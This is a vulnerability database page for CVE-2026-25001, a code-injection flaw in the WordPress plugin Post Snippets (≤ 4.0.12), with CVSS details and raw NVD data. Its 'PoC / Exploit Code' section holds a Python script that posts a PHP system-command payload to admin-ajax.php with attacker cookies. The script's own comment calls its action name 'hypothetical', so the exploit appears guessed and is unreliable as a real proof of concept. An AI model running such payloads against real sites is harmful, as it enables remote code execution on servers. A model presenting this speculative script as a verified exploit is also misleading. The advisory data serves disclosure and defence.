Security Vulnerability Report
中文
CVE-2026-25001 CVSS 8.5 HIGH

CVE-2026-25001

Published: 2026-03-25 17:16:41
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Saad Iqbal Post Snippets post-snippets allows Remote Code Inclusion.This issue affects Post Snippets: from n/a through <= 4.0.12.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Post Snippets <= 4.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Post Snippets <= 4.0.12 - Remote Code Execution (RCE) # Description: Injects malicious code into a snippet to execute system commands. # Author: Security Analyst target_url = "http://target-site.com/wp-admin/admin-ajax.php" attacker_cookies = { "wordpress_logged_in_12345": "attacker_cookie_value" } # Payload to execute a shell command (e.g., 'id') payload = "<?php system('id'); ?>" # Data for the vulnerable request exploit_data = { "action": "ps_save_snippet", # Hypothetical action name based on plugin structure "snippet_id": "", "snippet_name": "RCE_POC", "snippet_code": payload, "snippet_vars": "" } try: response = requests.post(target_url, data=exploit_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25001", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:41.320", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Saad Iqbal Post Snippets post-snippets allows Remote Code Inclusion.This issue affects Post Snippets: from n/a through <= 4.0.12."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado de la generación de código ('Inyección de Código') en Saad Iqbal Post Snippets post-snippets permite la Inclusión Remota de Código. Este problema afecta a Post Snippets: desde n/a hasta &lt;= 4.0.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-snippets/vulnerability/wordpress-post-snippets-plugin-4-0-12-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}